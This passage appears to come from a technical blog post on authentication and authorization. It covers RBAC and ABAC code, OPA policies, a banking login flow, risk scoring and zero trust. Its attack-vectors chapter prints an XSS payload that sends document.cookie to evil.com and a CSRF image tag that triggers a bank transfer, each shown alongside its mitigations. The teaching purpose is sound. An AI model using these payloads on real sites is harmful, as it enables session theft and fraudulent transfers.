REFERENCES roles(id), PRIMARY KEY (user_id, role_id) ); Authorization Check: ───────────────────────────────────────────────────────────────── func (s *AuthzService) HasPermission(userID, resource, action string) bool { query := ` SELECT EXISTS ( SELECT 1 FROM user_roles ur JOIN role_permissions rp ON ur.role_id = rp.role_id JOIN permissions p ON rp.permission_id = p.id WHERE ur.user_id = $1 AND p.resource = $2 AND p.action = $3 ) ` var allowed bool s.db.QueryRow(query, userID, resource, action).Scan(&allowed) return allowed } // Middleware func RequirePermission(resource, action string) gin.HandlerFunc { return func(c *gin.Context) { userID := c.GetString("user_id") if !authzService.HasPermission(userID, resource, action) { c.AbortWithStatus(403) return } c.Next() } } // Usage router.DELETE("/users/:id", RequirePermission("users", "delete"), deleteUserHandler, )

ABAC (Attribute-Based Access Control)

ABAC Model: ───────────────────────────────────────────────────────────────── Decisions based on attributes of: • Subject (user attributes) • Resource (data attributes) • Action (operation type) • Environment (time, location, etc.) Example Policy: ┌─────────────────────────────────────────────────────────────────┐ │ "Allow if: │ │ - subject.department == resource.department │ │ - subject.clearance_level >= resource.classification │ │ - environment.time is within business_hours │ │ - action is 'read'" │ └─────────────────────────────────────────────────────────────────┘ ABAC Evaluation: ───────────────────────────────────────────────────────────────── Request: { "subject": { "id": "user-123", "department": "engineering", "clearance_level": 3, "roles": ["developer"] }, "resource": { "type": "document", "id": "doc-456", "department": "engineering", "classification": 2 }, "action": "read", "environment": { "time": "2024-01-15T14:30:00Z", "ip_address": "10.0.1.50", "device_trusted": true } } Policy Engine evaluates: • engineering == engineering ✓ • 3 >= 2 ✓ • 14:30 in business hours ✓ • action is read ✓ Result: ALLOW ABAC vs RBAC: ───────────────────────────────────────────────────────────────── ┌────────────────────┬────────────────────┬────────────────────┐ │ │ RBAC │ ABAC │ ├────────────────────┼────────────────────┼────────────────────┤ │ Flexibility │ Low │ High │ │ Complexity │ Low │ High │ │ Fine-grained │ No │ Yes │ │ Context-aware │ No │ Yes │ │ Maintenance │ Easy │ Complex │ │ Performance │ Fast │ Slower │ └────────────────────┴────────────────────┴────────────────────┘ Use RBAC when: Simple role hierarchy, few permission types Use ABAC when: Complex rules, context-dependent access

Policy Engines (OPA)

Open Policy Agent (OPA): ───────────────────────────────────────────────────────────────── ┌─────────────────────────────────────────────────────────────────┐ │ ARCHITECTURE │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ Service OPA │ │ ┌────────────┐ ┌────────────────────────┐ │ │ │ │ Authorization │ │ │ │ │ API │ Request │ Policy Engine │ │ │ │ Server │────────────────►│ │ │ │ │ │ │ ┌──────────────────┐ │ │ │ │ │ │ │ Rego Policies │ │ │ │ │ │ Allow/Deny │ │ │ │ │ │ │ │◄────────────────│ │ package authz │ │ │ │ └────────────┘ │ │ default allow = │ │ │ │ │ │ false │ │ │ │ │ │ │ │ │ │ │ │ allow { │ │ │ │ │ │ # rules │ │ │ │ │ │ } │ │ │ │ │ └──────────────────┘ │ │ │ └────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ Rego Policy Example: ───────────────────────────────────────────────────────────────── package authz default allow = false # Allow admins to do anything allow { input.user.roles[_] == "admin" } # Allow users to read their own data allow { input.action == "read" input.resource.owner == input.user.id } # Allow managers to read team data allow { input.action == "read" input.resource.team == input.user.team input.user.roles[_] == "manager" } # Time-based access allow { input.action == "write" is_business_hours } is_business_hours { time.now_ns() > time.parse_rfc3339_ns(business_hours_start) time.now_ns() < time.parse_rfc3339_ns(business_hours_end) } API Integration: ───────────────────────────────────────────────────────────────── // Go client for OPA func (c *OPAClient) IsAllowed(ctx context.Context, input AuthzInput) (bool, error) { resp, err := c.client.Post( "http://opa:8181/v1/data/authz/allow", "application/json", bytes.NewBuffer(toJSON(map[string]interface{}{"input": input})), ) var result struct { Result bool `json:"result"` } json.NewDecoder(resp.Body).Decode(&result) return result.Result, nil } // Middleware func OPAMiddleware(opaClient *OPAClient) gin.HandlerFunc { return func(c *gin.Context) { input := AuthzInput{ User: extractUser(c), Resource: extractResource(c), Action: c.Request.Method, } allowed, _ := opaClient.IsAllowed(c, input) if !allowed { c.AbortWithStatus(403) return } c.Next() } }

Chapter 6: Real-World Fintech Architecture

Banking Login Flow

Complete Banking Authentication Flow: ───────────────────────────────────────────────────────────────── ┌─────────────────────────────────────────────────────────────────────────┐ │ BANKING LOGIN ARCHITECTURE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ User Mobile App Backend Services │ │ │ │ │ │ │ │ 1. Open app │ │ │ │ │────────────────────►│ │ │ │ │ │ │ │ │ │ │ 2. Get device attestation │ │ │ │ (Android SafetyNet / iOS DeviceCheck) │ │ │ │ │ │ │ │ 3. Biometric/MPIN │ │ │ │ │────────────────────►│ │ │ │ │ │ │ │ │ │ │ 4. POST /auth/login │ │ │ │ │ { │ │ │ │ │ device_attestation, │ │ │ │ │ device_id, │ │ │ │ │ biometric_signature, │ │ │ │ │ mpin_challenge_resp │ │ │ │ │ } │ │ │ │ │─────────────────────────► │ │ │ │ │ │ │ │ │ ┌───────────────┴───────────────┐ │ │ │ │ │ AUTH SERVICE │ │ │ │ │ │ │ │ │ │ │ │ 5. Validate device │ │ │ │ │ │ attestation │ │ │ │ │ │ │ │ │ │ │ │ 6. Verify device binding │ │ │ │ │ │ (device_id → user) │ │ │ │ │ │ │ │ │ │ │ │ 7. Verify biometric/MPIN │ │ │ │ │ │ signature │ │ │ │ │ │ │ │ │ │ │ │ 8. Check fraud signals │ │ │ │ │ │ - Device reputation │ │ │ │ │ │ - Location anomaly │ │ │ │ │ │ - Behavioral analysis │ │ │ │ │ │ │ │ │ │ │ │ 9. Risk score: LOW/MED/HIGH │ │ │ │ │ └───────────────┬───────────────┘ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ┌────┴────┐ │ │ │ │ │ │ │ │ │ │ LOW │ RISK │ HIGH │ │ │ │ │ SCORE │ │ │ │ │ └────┬────┘ │ │ │ │ │ │ │ │ │ ┌───────────────┼───────────────┐ │ │ │ │ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ │ │ ┌────────┐ ┌────────┐ ┌────────┐ │ │ │ │ │ ALLOW │ │STEP-UP │ │ BLOCK │ │ │ │ │ │ │ │ AUTH │ │ │ │ │ │ │ └───┬────┘ └───┬────┘ └───┬────┘ │ │ │ │ │ │ │ │ │ │ │ │ SMS OTP Fraud Team │ │ │ │ │ Required Review │ │ │ │ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ │ │ ┌─────────────────────────────────────┐ │ │ │ │ │ ISSUE TOKENS │ │ │ │ │ │ • Access Token (15 min) │ │ │ │ │ │ • Refresh Token (session-bound) │ │ │ │ │ │ • Session ID (for audit) │ │ │ │ │ └─────────────────────────────────────┘ │ │ │ │ │ │ │ │ │ 10. Tokens │ │ │ │ │◄────────────────────────│ │ │ │ │ │ │ │ │ 11. Dashboard │ │ │ │ │◄────────────────────│ │ │ │ │ │ │ │ │ │ │ 12. GET /accounts │ │ │ │ │ Authorization: Bearer │ │ │ │ │ {access_token} │ │ │ │ │─────────────────────────► │ │ │ │ │ │ │ │ │ ┌───────────────┴───────────────┐ │ │ │ │ │ API GATEWAY │ │ │ │ │ │ • Validate JWT │ │ │ │ │ │ • Check token not revoked │ │ │ │ │ │ • Rate limiting │ │ │ │ │ │ • Route to service │ │ │ │ │ └───────────────┬───────────────┘ │ │ │ │ │ │ │ │ │ 13. Account Data │ │ │ │ │◄────────────────────────│ │ │ │ │ │ │ │ │ 14. Display │ │ │ │ │◄────────────────────│ │ │ │ │ └────────────────────────────────────────────────────────────────────────┘

Step-Up Authentication

Step-Up Authentication for Sensitive Operations: ───────────────────────────────────────────────────────────────── Normal auth sufficient for: • View balance • View transaction history • Profile settings Step-up required for: • Add new beneficiary • Transfer > ₹50,000 • Change MPIN • Update mobile number ┌─────────────────────────────────────────────────────────────────┐ │ │ │ User Action: "Transfer ₹1,00,000 to new beneficiary" │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ STEP-UP DECISION ENGINE │ │ │ │ │ │ │ │ Evaluate: │ │ │ │ • Transaction amount: ₹1,00,000 (> threshold) │ │ │ │ • Beneficiary: NEW (not in safe list) │ │ │ │ • Time since last auth: 10 minutes │ │ │ │ • Current auth level: MPIN (level 1) │ │ │ │ │ │ │ │ Decision: REQUIRE STEP-UP (level 2) │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ STEP-UP OPTIONS (based on user profile): │ │ │ │ │ │ │ │ • SMS OTP (always available) │ │ │ │ • Email OTP (if email verified) │ │ │ │ • Authenticator App (if enrolled) │ │ │ │ • Biometric (if on registered device) │ │ │ │ • Hardware Token (for corporate accounts) │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ User completes step-up → Transaction proceeds │ │ │ │ │ ▼ │ │ Session upgraded: auth_level = 2, step_up_time = now() │ │ (Valid for 5 minutes for subsequent high-value operations) │ │ │ └─────────────────────────────────────────────────────────────────┘

Risk-Based Authentication

Risk-Based Authentication (RBA): ───────────────────────────────────────────────────────────────── ┌─────────────────────────────────────────────────────────────────┐ │ RISK SCORING ENGINE │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ INPUT SIGNALS: │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ │ │ │ │ DEVICE SIGNALS (Weight: 30%) │ │ │ │ • Known device? (+0 if yes, +30 if new) │ │ │ │ • Device attestation valid? (-10 if valid) │ │ │ │ • Rooted/jailbroken? (+50 if yes) │ │ │ │ • Emulator detected? (+80 if yes) │ │ │ │ │ │ │ │ BEHAVIORAL SIGNALS (Weight: 25%) │ │ │ │ • Login time unusual? (+15 if 3AM) │ │ │ │ • Typing pattern matches? (-10 if matches) │ │ │ │ • Transaction velocity normal? (+20 if unusual) │ │ │ │ │ │ │ │ LOCATION SIGNALS (Weight: 25%) │ │ │ │ • Known location? (+0 if yes, +20 if new) │ │ │ │ • Impossible travel? (+70 if detected) │ │ │ │ • VPN/Proxy detected? (+30 if yes) │ │ │ │ │ │ │ │ ACCOUNT SIGNALS (Weight: 20%) │ │ │ │ • Recent password change? (+15 if yes) │ │ │ │ • Failed login attempts? (+5 per attempt) │ │ │ │ • Account age? (-5 if > 1 year) │ │ │ │ │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ RISK CALCULATION: │ │ ───────────────────────────────────────────────────────────── │ │ base_score = 0 │ │ score += device_risk * 0.30 │ │ score += behavioral_risk * 0.25 │ │ score += location_risk * 0.25 │ │ score += account_risk * 0.20 │ │ │ │ DECISION THRESHOLDS: │ │ ───────────────────────────────────────────────────────────── │ │ Score 0-30: LOW RISK → Allow with standard auth │ │ Score 31-60: MEDIUM RISK → Require 2FA │ │ Score 61-80: HIGH RISK → Require step-up + SMS │ │ Score 81-100: CRITICAL → Block + manual review │ │ │ └─────────────────────────────────────────────────────────────────┘

Chapter 7: Security Risks & Attack Vectors

Common Attacks and Mitigations

Attack Vectors and Defenses: ───────────────────────────────────────────────────────────────── 1. REPLAY ATTACK ┌─────────────────────────────────────────────────────────────────┐ │ Attack: Capture and resend valid authentication request │ │ │ │ Attacker captures: POST /login {token: "valid_otp"} │ │ Attacker replays: Same request 5 minutes later │ │ │ │ Mitigations: │ │ • Nonce in every request (single-use) │ │ • Timestamp validation (reject if > 5 min old) │ │ • TOTP has 30-second window │ │ • Mark OTP as used after first verification │ │ │ │ Implementation: │ │ request_id = uuid.New() │ │ redis.SetEX(request_id, "used", 5*time.Minute) │ │ // On verify: check if request_id already exists │ └─────────────────────────────────────────────────────────────────┘ 2. CSRF (Cross-Site Request Forgery) ┌─────────────────────────────────────────────────────────────────┐ │ Attack: Trick authenticated user into making unwanted request │ │ │ │ Victim visits: attacker.com │ │ Page contains: <img src="https://bank.com/transfer?to=attacker&amount=1000">│ │ Browser sends: Request with victim's cookies │ │ │ │ Mitigations: │ │ • CSRF tokens (unique per session/request) │ │ • SameSite cookie attribute │ │ • Check Origin/Referer headers │ │ • Re-authentication for sensitive actions │ │ │ │ Implementation: │ │ // Generate CSRF token │ │ csrfToken := generateSecureRandom(32) │ │ session.Set("csrf_token", csrfToken) │ │ │ │ // In form: <input type="hidden" name="csrf" value="..."> │ │ │ │ // Validate on POST │ │ if request.FormValue("csrf") != session.Get("csrf_token") { │ │ return 403, "Invalid CSRF token" │ │ } │ └─────────────────────────────────────────────────────────────────┘ 3. XSS (Cross-Site Scripting) ┌─────────────────────────────────────────────────────────────────┐ │ Attack: Inject malicious script that steals tokens │ │ │ │ Stored XSS: │ │ Comment field: <script>fetch('evil.com?cookie='+document.cookie)</script>│ │ Every user viewing comment → token stolen │ │ │ │ Impact on auth: │ │ • Steal access tokens from localStorage │ │ • Steal session cookies (if not HttpOnly) │ │ • Perform actions as victim │ │ │ │ Mitigations: │ │ • HttpOnly cookies (JS can't read) │ │ • Content-Security-Policy headers │ │ • Input sanitization and output encoding │ │ • Don't store tokens in localStorage │ │ │ │ Cookie flags: │ │ Set-Cookie: session=abc123; │ │ HttpOnly; // JS can't access │ │ Secure; // HTTPS only │ │ SameSite=Strict; // Not sent cross-origin │ │ Path=/; │ │ Max-Age=3600 │ └─────────────────────────────────────────────────────────────────┘ 4. TOKEN THEFT ┌─────────────────────────────────────────────────────────────────┐ │ Attack: Steal JWT from network or storage │ │ │ │ Vectors: │ │ • Man-in-the-middle (HTTP instead of HTTPS) │ │ • XSS stealing from localStorage │ │ • Malware on device │ │ • Log files containing tokens │ │ │ │ Mitigations: │ │ • HTTPS everywhere (HSTS) │ │ • Short token expiry (15 minutes) │ │ • Refresh token rotation │ │ • Token binding to device/IP │ │ • Don't log tokens │ │ │ │ Token binding implementation: │ │ // Include device fingerprint in token │ │ claims["device_fp"] = deviceFingerprint │ │ │ │ // Validate on every request │ │ if token.DeviceFingerprint != currentDeviceFingerprint { │ │ return 401, "Token bound to different device" │ │ } │ └─────────────────────────────────────────────────────────────────┘ 5. CREDENTIAL STUFFING ┌─────────────────────────────────────────────────────────────────┐ │ Attack: Use leaked credentials from other breaches │ │ │ │ Attacker has: List of email/password from LinkedIn breach │ │ Attacker tries: Same credentials on your banking app │ │ Success rate: 0.5-2% (people reuse passwords) │ │ │ │ Mitigations: │ │ • Check against HaveIBeenPwned API │ │ • Require 2FA │ │ • Rate limiting (per IP, per account) │ │ • CAPTCHA after failures │ │ • Detect distributed attacks (same password, many accounts) │ │ • Account lockout with notification │ │ │ │ Implementation: │ │ // Check password against breached list │ │ sha1Hash := sha1.Sum([]byte(password)) │ │ prefix := hex.EncodeToString(sha1Hash[:])[:5] │ │ resp, _ := http.Get("https://api.pwnedpasswords.com/range/" + prefix)│ │ // Check if full hash in response │ └─────────────────────────────────────────────────────────────────┘ 6. PHISHING ┌─────────────────────────────────────────────────────────────────┐ │ Attack: Fake login page captures real credentials │ │ │ │ User receives: "Your account is locked. Login here:" │ │ Link goes to: hdfc-bank-secure.com (fake) │ │ User enters: Real username and password │ │ │ │ Mitigations: │ │ • FIDO2/WebAuthn (phishing-resistant) │ │ • Domain binding (keys work only on real domain) │ │ • User education │ │ • Email authentication (DMARC, DKIM, SPF) │ │ • In-app login only (no email links to login) │ │ │ │ Why WebAuthn is phishing-resistant: │ │ • Credential bound to specific origin (domain) │ │ • Fake site can't trigger real site's credential │ │ • Even if user clicks phishing link, key won't work │ └─────────────────────────────────────────────────────────────────┘

Chapter 8: Advanced Topics

Zero Trust Architecture

Zero Trust Principles: ───────────────────────────────────────────────────────────────── "Never trust, always verify" Traditional (Perimeter-based): ┌─────────────────────────────────────────────────────────────────┐ │ Outside firewall = untrusted │ │ Inside firewall = trusted ← WRONG ASSUMPTION │ │ │ │ Problem: Once attacker is inside, free movement │ └─────────────────────────────────────────────────────────────────┘ Zero Trust: ┌─────────────────────────────────────────────────────────────────┐ │ Every request is verified, regardless of location │ │ │ │ Principles: │ │ 1. Verify explicitly │ │ - Always authenticate and authorize │ │ - Use all available data points (identity, location, │ │ device, data classification) │ │ │ │ 2. Use least privilege access │ │ - Just-in-time access │ │ - Just-enough access │ │ - Risk-based adaptive policies │ │ │ │ 3. Assume breach │ │ - Minimize blast radius │ │ - Segment access │ │ - Verify end-to-end encryption │ │ - Use analytics for threat detection │ └─────────────────────────────────────────────────────────────────┘ Zero Trust Architecture: ───────────────────────────────────────────────────────────────── ┌─────────────────────────────────────────────────────────────────┐ │ │ │ User/Device Policy Engine Resources │ │ ┌─────────┐ ┌─────────────┐ ┌─────────┐ │ │ │ │ │ • Identity │ │ API 1 │ │ │ │ Request │────────►│ • Device │────────►│ API 2 │ │ │ │ + Context│ │ • Behavior │ Allow/ │ API 3 │ │ │ │ │ │ • Data │ Deny │ Data │ │ │ └─────────┘ └─────────────┘ └─────────┘ │ │ │ │ │ │ │ │ │ │ │ │ └─────────────────────┼───────────────────────┘ │ │ │ │ │ All traffic encrypted (mTLS) │ │ Continuous verification │ │ No implicit trust │ │ │ └─────────────────────────────────────────────────────────────────┘

mTLS (Mutual TLS)

Mutual TLS for Service-to-Service Auth: ───────────────────────────────────────────────────────────────── Standard TLS: • Client verifies server certificate • Server doesn't verify client (anonymous) Mutual TLS: • Client verifies server certificate • Server verifies client certificate • Both parties authenticated ┌─────────────────────────────────────────────────────────────────┐ │ mTLS HANDSHAKE │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ Service A Service B │ │ (Client) (Server) │ │ │ │ │ │ │ 1. ClientHello │ │ │ │────────────────────────────────────────────►│ │ │ │ │ │ │ │ 2. ServerHello │ │ │ │ + Server Certificate │ │ │ │ + CertificateRequest │ │ │ │◄────────────────────────────────────────────│ │ │ │ │ │ │ │ 3. Verify server cert │ │ │ │ against trusted CA │ │ │ │ │ │ │ │ 4. Client Certificate │ │ │ │ + CertificateVerify (signature) │ │ │ │────────────────────────────────────────────►│ │ │ │ │ │ │ │ 5. Verify client│ │ │ │ cert against │ │ │ │ trusted CA │ │ │ │ │ │ │ │ 6. Encrypted communication │ │ │ │◄───────────────────────────────────────────►│ │ │ │ └─────────────────────────────────────────────────────────────────┘ Service Mesh (Istio/Linkerd): • Automatic mTLS between services • Certificate rotation • No application code changes

Secure Key Storage (HSM)

Hardware Security Module (HSM): ───────────────────────────────────────────────────────────────── ┌─────────────────────────────────────────────────────────────────┐ │ │ │ Application Server HSM │ │ ┌────────────────────┐ ┌────────────────────┐ │ │ │ │ │ TAMPER-RESISTANT │ │ │ │ Private keys? │ │ HARDWARE │ │ │ │ NO! │ │ │ │ │ │ │ │ ┌──────────────┐ │ │ │ │ Only key handles │ Request │ │ Private Keys │ │ │ │ │ ───────────────── │ Sign(data) │ │ (never leave)│ │ │ │ │ │─────────────►│ └──────────────┘ │ │ │ │ │ │ │ │ │ │ │ Signature │ Crypto operations │ │ │ │ │◄─────────────│ happen inside HSM │ │ │ │ │ │ │ │ │ └────────────────────┘ └────────────────────┘ │ │ │ │ Key never leaves HSM │ │ Even if server compromised, key is safe │ │ Tamper detection destroys keys if physical attack │ │ │ └─────────────────────────────────────────────────────────────────┘ Cloud HSM Options: • AWS CloudHSM • Azure Dedicated HSM • Google Cloud HSM • HashiCorp Vault (software HSM) Use Cases: • JWT signing keys • Database encryption keys • Payment card processing (PCI-DSS) • Certificate authority keys

Chapter 9: Authentication Methods Comparison

┌─────────────────┬────────────┬──────────┬───────────┬─────────────────────┐ │ Method │ Security │ UX │ Revocable │ Best Use Case │ ├─────────────────┼────────────┼──────────┼───────────┼─────────────────────┤ │ Password │ Low-Medium │ Familiar │ Yes ✓ │ Basic apps, with 2FA│ │ SMS OTP │ Medium │ Good │ Yes ✓ │ 2FA fallback │ │ TOTP │ High │ Good │ Yes ✓ │ Primary 2FA │ │ MPIN │ Medium │ Excellent│ Yes ✓ │ Banking apps │ │ Biometric │ High │ Excellent│ No ✗ │ Device unlock, 2FA │ │ Hardware Token │ Very High │ Poor │ Yes ✓ │ High-security │ │ WebAuthn/FIDO2 │ Very High │ Excellent│ Yes ✓ │ Phishing-resistant │ │ mTLS │ Very High │ N/A │ Yes ✓ │ Service-to-service │ └─────────────────┴────────────┴──────────┴───────────┴─────────────────────┘

Chapter 10: Production Best Practices

Security Checklist

Authentication Security Checklist: ───────────────────────────────────────────────────────────────── SECRETS MANAGEMENT: □ Never hardcode secrets in code □ Use environment variables or secret managers □ Rotate keys regularly (90 days max) □ Use different keys per environment TOKEN SECURITY: □ Short access token expiry (15-30 minutes) □ Secure refresh token storage (HttpOnly cookie) □ Implement refresh token rotation □ Device binding for sensitive apps PASSWORD SECURITY: □ Use Argon2id or bcrypt (cost 12+) □ Enforce minimum 12 characters □ Check against breached password lists □ No password hints or security questions SESSION MANAGEMENT: □ Regenerate session ID after login □ Implement absolute session timeout □ Destroy session on logout (client AND server) □ Single session per user (optional) MONITORING: □ Log all authentication events □ Alert on anomalous patterns □ Track failed login attempts □ Monitor for credential stuffing RATE LIMITING: □ Per-IP rate limiting □ Per-account rate limiting □ Exponential backoff on failures □ CAPTCHA after threshold

Audit Logging

go
type AuthEvent struct { Timestamp time.Time `json:"timestamp"` EventType string `json:"event_type"` UserID string `json:"user_id,omitempty"` Email string `json:"email,omitempty"` IPAddress string `json:"ip_address"` UserAgent string `json:"user_agent"` DeviceID string `json:"device_id,omitempty"` SessionID string `json:"session_id,omitempty"` Success bool `json:"success"` FailureReason string `json:"failure_reason,omitempty"` RiskScore int `json:"risk_score,omitempty"` MFAMethod string `json:"mfa_method,omitempty"` GeoLocation *GeoLocation `json:"geo_location,omitempty"` Metadata map[string]string `json:"metadata,omitempty"` } // Event types: // login_attempt, login_success, login_failure // logout, session_expired, session_revoked // mfa_challenge, mfa_success, mfa_failure // password_change, password_reset_request // account_locked, account_unlocked // suspicious_activity func LogAuthEvent(event AuthEvent) { // Send to SIEM (Splunk, ELK, etc.) // Required for compliance (PCI-DSS, SOC2) authLogger.Info("auth_event", zap.String("event_type", event.EventType), zap.String("user_id", event.UserID), zap.String("ip", event.IPAddress), zap.Bool("success", event.Success), zap.Int("risk_score", event.RiskScore), ) }

Conclusion

Authentication and authorization are not single features—they're layered security systems. The strongest architectures:
  1. Use multiple factors - Something you know, have, and are
  2. Verify continuously - Not just at login, but throughout the session
  3. Assume breach - Design for when (not if) credentials are stolen
  4. Log everything - Detection is as important as prevention
  5. Keep it usable - Security that users bypass is no security at all
The goal is defense in depth: if one layer fails, others protect the system. Build your auth system like you're protecting a bank—because in many cases, you are.
All Blogs
Tags:authenticationauthorizationjwtoauth2biometricssecuritybackendsystem-design